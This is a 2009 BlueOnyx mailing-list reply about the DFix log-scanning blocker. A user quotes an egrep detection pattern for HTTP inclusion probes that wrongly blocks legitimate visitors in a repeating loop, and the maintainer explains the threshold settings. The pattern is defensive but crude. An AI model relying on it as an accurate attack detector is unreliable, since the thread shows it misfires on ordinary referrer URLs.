[BlueOnyx:02286] Re: DFix update

[Greg Kuhnert]

Darrell D. Mobley wrote:
> Greg, it appears the HTTP probe code isn't "sexy" enough, it needs a
> different filter:
>
> egrep "=http.*\? HTTP" $TLOGFILE | cut -d " " -f 2 | grep -v -f $GLOGIP >>
> $TLOGIP
>
> That code will interpret URLs that have referrer strings in them, such as:
>
> www.mywebsite.com 72.171.0.148 - - [31/Aug/2009:07:09:08 -0400] "GET
> /banners/adjs.php?n=359183435&clientid=55&exclude=,&referer=http%3A//www.myw
> ebsite.com/forums/ HTTP/1.1" 200 746 "http://www.mywebsite.com/forums/"
> "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)"
>
> So the "referrer" above blocks a legitimate user who is already probably
> pissed off that they are having to see banner ads. 
>
> That IP was the one that blocking and unblocking every 60 second earlier
> today. Why is the block only lasting sixty seconds?
>
> Another block was:
>
> www.anothersite.org 66.90.104.20 - - [31/Aug/2009:15:31:59 -0400] "GET /
> HTTP/1.1" 200 8396 "-" "WebAlta Crawler/1.3.23
> (http://www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT
> 5.1; ru-RU)"  
>
> I don't know what filter caught this one, but he is a bad guy, as he is
> listed on Project Honey Pot as a spam harvester.  BUT, the script is
> blocking him and then sixty seconds later unblocking him, only to repeat the
> process over and over and over and over.  
>
> Block.  Unblock.  Block.  Unblock.  Clog system administrator's inbox. :-\
>
> HELP!
>   

If you want to make dfix less sensitive, You need to do one or both of 
the items below:
1. Decrease HTTPRECS and/or
2. Increase the BADHITS threshold.

DFIX only triggers when it finds BADHITS entries in HTTPRECS entries in 
the apache log file. Doing the above two things will decrease the 
sensitivity.

To totally turn off the HTTP log, set HTTPRECS to be lower than BADHITS.

To discuss your specific problems, contact me off-list. When resolved, I 
will post the final solution here for the benefit of others.

Regards,
Greg.